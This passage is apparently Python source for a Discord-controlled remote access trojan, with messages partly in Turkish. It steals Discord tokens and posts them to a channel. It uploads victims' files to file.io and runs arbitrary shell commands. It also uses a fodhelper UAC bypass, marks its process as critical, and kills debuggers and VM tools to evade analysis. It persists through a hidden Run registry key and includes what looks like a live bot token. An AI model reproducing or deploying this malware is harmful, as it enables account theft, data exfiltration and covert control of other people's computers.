                                        if r.status_code == 200:
                                            if token in tokens:
                                                continue
                                            tokens.append(token)
                                            
                                    except:
                                        continue
                    return tokens
                except Exception as e:
                    return []
            all_tokens=[]
            for path_grab in PATHS:
                if os.path.exists(path_grab):
                    for token in gettokens(path_grab):
                        all_tokens.append(f"`{path_grab}` - **MTIyOTg1MTc4NTcxMjM2OTc0Nw.GkbuXS.z7bdoFUP5BrgB9pxNj9Fr4XKCzvQQfl5ogmEN0**")
            return str(all_tokens).replace("[", "").replace("]", "").replace("'", "").replace(",", "")

@client.command()
async def grabdiscord(ctx, *, usid):
    if usid == clientid:
        postchannel = client.get_channel(int(tokens_channel_id))
        await ctx.send(f":skull_crossbones: **{os.getlogin()}**Adlı Makinede Discord Hesapları Taranıyor...")
        await postchannel.send(f"{ctx.author.mention} **{os.getlogin()}**Adlı Makinenin Discord T0kenleri : \n\n{token_grab()}")
        await ctx.send(f":white_check_mark: **{os.getlogin()}**Adlı Makinede Discord T0kenleri <#{tokens_channel_id}> Kanalına Gönderildi!")
        

@client.command()
async def chdir(ctx, usid, *, directory):
    if usid == clientid:
        if directory != "<":
            try:
                os.chdir(f"{os.getcwd()}\\{directory}")
                await ctx.send(f"Directory changed to **{directory}** for **{os.getlogin()}**")
            except: await ctx.send(f"Error accessing directory for **{os.getlogin()}**")
        elif directory == "<":
            try:
                os.chdir('..')
                await ctx.send(f"Moved one directory back for **{os.getlogin()}** -> **{os.getcwd()}**")
            except: await ctx.send(f"Error moving one directory back for **{os.getlogin()}**")

@client.command()
async def ls(ctx, *, usid):
    if usid == clientid:
        output = subprocess.getoutput('dir')
        if output:
            result = output
            numb = len(result)
        if numb < 1:
            await ctx.send(f"Error displaying current directory for **{os.getlogin()}**.")
        elif numb > 1:
            temp = (os.getenv('TEMP'))
            if os.path.isfile(temp + r"\output22.txt"):
                 os.system(r"del %temp%\output22.txt /f")
            f1 = open(temp + r"\output22.txt", 'a')
            f1.write(result)
            f1.close()
            file = discord.File(temp + r"\output22.txt", filename="output22.txt")
            await ctx.send(f"Current directory items for **{os.getlogin()}**:\n\n-", file=file)
        else:
            await ctx.send(f"Current directory items for **{os.getlogin()}**:\n\n" + result)
                
@client.command()
async def download(ctx, usid, *, path):
    if usid == clientid:
        try:
            filename = path
            check2 = os.stat(filename).st_size
        except: await ctx.send(f"File path doesn't exist.")
        if check2 > 7340032:
            try:
                await ctx.send(f"Please wait while downloading the file from **{os.getlogin()}**...")
                response = requests.post('https://file.io/', files={"file": open(filename, "rb")}).json()["link"]
                await ctx.send(f"Success downloading file from **{os.getlogin()}**. Download link : {response}")
            except: await ctx.send(f"Access denied.")
        else:
            try:
                file = discord.File(path, filename=path)
                await ctx.send(f"Success downloading file from **{os.getlogin()}**.", file=file)
            except: await ctx.send(f"Access denied.")

@client.command()
async def upload(ctx, usid, *, path):
    if usid == clientid:
        if ctx.message.attachments:
            try:
                await ctx.message.attachments[0].save(path)
                await ctx.send(f"Saved attachment for **{os.getlogin()}** in **{path}**")
            except WindowsError as e:
                await ctx.send(f"System error uploading attachment in **{path}** for **{os.getlogin()}**")

@client.command()
async def bypass_uac(ctx, *, usid):
    if usid == clientid:
        def isAdmin():
            try:
                is_admin = (os.getuid() == 0)
            except AttributeError:
                is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
            return is_admin
        if isAdmin():
            await ctx.send(f"You already have admin privileges against **{os.getlogin()}**!")
        else:
            class disable_fsr():
                disable = ctypes.windll.kernel32.Wow64DisableWow64FsRedirection
                revert = ctypes.windll.kernel32.Wow64RevertWow64FsRedirection
                def __enter__(self):
                    self.old_value = ctypes.c_long()
                    self.success = self.disable(ctypes.byref(self.old_value))
                def __exit__(self, type, value, traceback):
                    if self.success:
                        self.revert(self.old_value)
            await ctx.send(f"Started UAC Bypass process on **{os.getlogin()}**")
            isexe=False
            if (sys.argv[0].endswith("exe")):
                isexe=True
            if not isexe:
                test_str = sys.argv[0]
                current_dir = inspect.getframeinfo(inspect.currentframe()).filename
                cmd2 = current_dir
                create_reg_path = """ powershell New-Item "HKCU:\SOFTWARE\Classes\ms-settings\Shell\Open\command" -Force """
                os.system(create_reg_path)
                create_trigger_reg_key = """ powershell New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "hi" -Force """
                os.system(create_trigger_reg_key) 
                create_payload_reg_key = """powershell Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "`(Default`)" -Value "'cmd /c start python """ + '""' + '"' + '"' + cmd2 + '""' +  '"' + '"\'"' + """ -Force"""
                os.system(create_payload_reg_key)
            else:
                test_str = sys.argv[0]
                current_dir = test_str
                cmd2 = current_dir
                create_reg_path = """ powershell New-Item "HKCU:\SOFTWARE\Classes\ms-settings\Shell\Open\command" -Force """
                os.system(create_reg_path)
                create_trigger_reg_key = """ powershell New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "hi" -Force """
                os.system(create_trigger_reg_key) 
                create_payload_reg_key = """powershell Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "`(Default`)" -Value "'cmd /c start """ + '""' + '"' + '"' + cmd2 + '""' +  '"' + '"\'"' + """ -Force"""
                os.system(create_payload_reg_key)
            with disable_fsr():
                os.system("fodhelper.exe")  
            remove_reg = """ powershell Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force """
            os.system(remove_reg)

@client.command()
async def startfile(ctx, usid, *, filepath):
    if usid == clientid:
        try:
            os.startfile(filepath)
            await ctx.send(f"**{filepath}** **{os.getlogin()}** Adlı Makinede Çalıştırılmaya Başlandı.")
        except WindowsError as e:
            await ctx.send(f"**{filepath}** **{os.getlogin()}** Adlı Makinede Dosya Çalıştırılamıyor :x:.")

@client.command()
async def tasklist(ctx, *, usid):
    if usid == clientid:
        if 1==1:
            result = subprocess.getoutput("tasklist")
            numb = len(result)
            if numb < 1:
                await ctx.send(f"**{os.getlogin()}** Adlı Makinede Görevler Gösterilemiyor")
            elif numb > 1990:
                temp = (os.getenv('TEMP'))
                if os.path.isfile(temp + r"\olist.txt"):
                    os.system(r"del %temp%\olist.txt /f")
                f1 = open(temp + r"\olist.txt", 'a')
                f1.write(result)
                f1.close()
                file = discord.File(temp + r"\olist.txt", filename="olist.txt")
                await ctx.send(f"Active tasks for **{os.getlogin()}** :", file=file)
            else:
                await ctx.send(f"Active tasks for **{os.getlogin()}** : " + result) 

@client.command()
async def taskkill(ctx, usid, *, proc):
    if usid == clientid:
        kilproc = r"taskkill /IM" + ' "' + proc + '" ' + r"/f" 
        os.system(kilproc)
        process_name = proc
        call = 'TASKLIST', '/FI', 'imagename eq %s' % process_name
        output = subprocess.check_output(call).decode()
        last_line = output.strip().split('\r\n')[-1]
        done = (last_line.lower().startswith(process_name.lower()))
        if done == False:
            await ctx.send(f"Adlı Görev **{proc}** Adlı Makinede **{os.getlogin()}** İşlemi Sonlandırıldı!")
        elif done == True:
            await ctx.send(f"Adlı Görev **{proc}** Adlı Makinede **{os.getlogin()}** İşlem Sonlandırılamıyor :x: !.")

@client.command()
async def delfile(ctx, usid, *, filepath):
    if usid == clientid:
        try:
            if os.path.exists(filepath):
                if os.path.isdir(filepath):
                    shutil.rmtree(filepath)
                    await ctx.send(f"Deleted directory **{filepath}** from **{os.getlogin()}**")
                    return
                os.remove(filepath)
                await ctx.send(f"Deleted file **{filepath}** from **{os.getlogin()}**")
        except WindowsError as e:
            await ctx.send(f"System error trying to delete **{filepath}** from **{os.getlogin()}**")

@client.command()
async def setwp(ctx, *, usid):
    if usid == clientid:
        path = os.path.join(os.getenv('TEMP') + r"\temp.jpg")
        await ctx.message.attachments[0].save(path)
        ctypes.windll.user32.SystemParametersInfoW(20, 0, path , 0)
        await ctx.send(f"Changed wallpaper for **{os.getlogin()}**")

@client.command()
async def critproc(ctx, *, usid):
    if usid == clientid:
        is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
        if is_admin == True:
            ctypes.windll.ntdll.RtlAdjustPrivilege(20, 1, 0, ctypes.byref(ctypes.c_bool()))
            ctypes.windll.ntdll.RtlSetProcessIsCritical(1, 0, 0) == 0
            await ctx.send(f"Successfully set the task to a critical process for **{os.getlogin()}**.")
        else:
            await ctx.send(f"Insufficient permissions to critproc for **{os.getlogin()}**")

@client.command()
async def hidefile(ctx, usid, *, filepath):
    if usid == clientid:
        try:
            p = os.popen('attrib +h ' + filepath)
            t = p.read()
            p.close()
            await ctx.send(f"**{filepath}** has been hidden for **{os.getlogin()}**")
        except:
            await ctx.send(f"Error hiding **{filepath}** for **{os.getlogin()}**")
            
@client.command()
async def unhidefile(ctx, usid, *, filepath):
    if usid == clientid:
        try:
            p = os.popen('attrib -h ' + filepath)
            t = p.read()
            p.close()
            await ctx.send(f"**{filepath}** is now visible for **{os.getlogin()}**")
        except:
            await ctx.send(f"Error returning **{filepath}** to visible for **{os.getlogin()}**")

@client.command()
async def key_press(ctx, usid, *, keyname):
    if usid == clientid:
        try:
            pyautogui.press(keyname)
            await ctx.send(f"**{os.getlogin()}** has pressed the **{keyname}** key.")
        except: await ctx.send(f"**{keyname}** is not recognized as a key.")

@client.command()
async def screenflip(ctx, *, usid):
    if usid == clientid:
        try:
            screen = rs.get_primary_display()
            start_pos = screen.current_orientation
            pos = abs((start_pos - 1*90) % 360)
            screen.rotate_to(pos)
            await ctx.send(f"**{os.getlogin()}**'s screen has been flipped.")
        except: await ctx.send(f"**{os.getlogin()}**'s screen could not be flipped.")

@client.command()
async def hardware_list(ctx, *, usid):
    if usid == clientid:
        message = ""
        message += f"`CPU`: **{psutil.cpu_count()}** cores\n"
        message += f"`RAM`: **{psutil.virtual_memory().total / (1024.0 ** 3)}** GB\n"
        message += f"`Hard disk`: **{psutil.disk_usage('/').total / (1024.0 ** 3)}** GB\n"
        message += f"`Boot device`: {psutil.disk_partitions()[0].device}"
        await ctx.send(f"Hardware information for **{os.getlogin()}**: \n\n{message}")

@client.command()
async def chdisk(ctx, usid, *, disk):
    if usid == clientid:
        try:
            os.chdir(disk)
            await ctx.send(f"Disk changed to **{disk}** for **{os.getlogin()}**")
        except: await ctx.send(f"Error changing disk to **{disk}** for **{os.getlogin()}**")

@client.command()
async def restart(ctx, *, usid):
    if usid == clientid:
        await ctx.send(f"**{os.getlogin()}**Adlı Bilgisiyar Yeniden Başlatılıyor...")
        os.system("shutdown /r /t 1")

@client.command()
async def yeniden_baslat(ctx, usid, *, mesaj):
    if usid == clientid:
        await ctx.send(f"**{os.getlogin()}** Adlı Bilgisiyar {mesaj} Sebebiyle 5 Saniye İçinde Yeniden Başlatılıcak..")
        os.system(f'shutdown /r /t 5 /c "{mesaj}" ')

@client.command()
async def hidetaskbar(ctx, *, usid):
    if usid == clientid:
        try:
            h = ctypes.windll.user32.FindWindowA(b'Shell_TrayWnd', None)
            ctypes.windll.user32.ShowWindow(h, 0)
            await ctx.send(f"**{os.getlogin()}**Adlı Makinede Görev Çubuğu Gizlendi.")
        except: await ctx.send(f"**{os.getlogin()} Adlı Makinede Görev Çubuğu Gizlenemiyor!")

@client.command()
async def showtaskbar(ctx, *, usid):
    if usid == clientid:
        try:
            h = ctypes.windll.user32.FindWindowA(b'Shell_TrayWnd', None)
            ctypes.windll.user32.ShowWindow(h, 9)
            await ctx.send(f"**{os.getlogin()}**Adlı Makinede Görev Çubuğu Gösteriliyor.")
        except: await ctx.send(f"**{os.getlogin()}**Adlı Bilgisiyarda Görev Çubuğu Gösterirken Hata Oluştu.")

@client.command()
async def shell(ctx, usid, *, command=""):
    if usid == clientid:
        if command != "":
            try:
                output = os.popen(command).read()
                if len(output) > 2000:
                    temp_file = os.path.join(os.getenv('TEMP'), 'output.txt')
                    with open(temp_file, 'w') as file:
                        file.write(output)
                    await ctx.send('Output is too long. Sending as a file.', file=discord.File(temp_file))
                    os.remove(temp_file)
                else:
                    if output != "":
                        await ctx.send(f'Shell output for **{os.getlogin()}**:\n```{output}```')
                    else:
                        await ctx.send(f'Output empty for **{os.getlogin()}**')
            except Exception as e:
                await ctx.send(f'An error occurred: {str(e)}')
        else:
            await ctx.send(f"Please input a shell command for **{os.getlogin()}**")


def mainfunc():
    bluser = ('wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex', 'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq', 'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a', 'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl', 'harry johnson', 'j.seance', 'a.monaldo', 'tvm')
    bltask = ('vm3dservice', 'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler', 'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray', 'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice', 'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc', 'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol', 'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice', 'vmwaretray', 'discordtokenprotector', 'processhacker')

    if hide_after_exec != False:
        p = os.popen('attrib +h "' + sys.executable + '"')
        p.close()

    if antivm != False:
        result = subprocess.getoutput("tasklist")
        numb = len(result)
        if numb > 0:
            temp = (os.getenv('TEMP'))
            if os.path.isfile(temp + r"\olist.txt"):
                os.system(r"del %temp%\olist.txt /f")
            f1 = open(temp + r"\olist.txt", 'a')
            f1.write(result)
            f1.close()
            final = ""
            with open(f"{os.getenv('TEMP')}\olist.txt") as A:
                final = A.read().lower()
            for task in bltask:
                if task in final:
                    try:
                        kilproc = r"taskkill /IM" + ' "' + task + '.exe' + '" ' + r"/f" 
                        os.system(kilproc)
                    except: sys.exit(0)

        os.remove(f"{temp}\olist.txt")

        if f"{os.getlogin()}".lower() in bluser:
            sys.exit(0)

    if autostart != False:
        if sys.argv[0].endswith("exe"):
            if not os.path.exists(backdoor_location):
                shutil.copyfile(sys.executable, backdoor_location)
                key_path = r"Software\Microsoft\Windows\CurrentVersion\Run"
                command = 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v visuals /t REG_SZ /d "' + backdoor_location + '" /f'
                key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path, 0, winreg.KEY_SET_VALUE)
                winreg.SetValueEx(key, "visuals", 0, winreg.REG_SZ, command)
                winreg.CloseKey(key)
                subprocess.call(command, shell=True)
                p = os.popen('attrib +h "' + backdoor_location + '"')
                p.close()
            if not sys.argv[0].endswith(process_name):
                os.startfile(backdoor_location)
                os._exit(0)
    
    

if __name__ == '__main__':
    mainfunc()

client.run(token)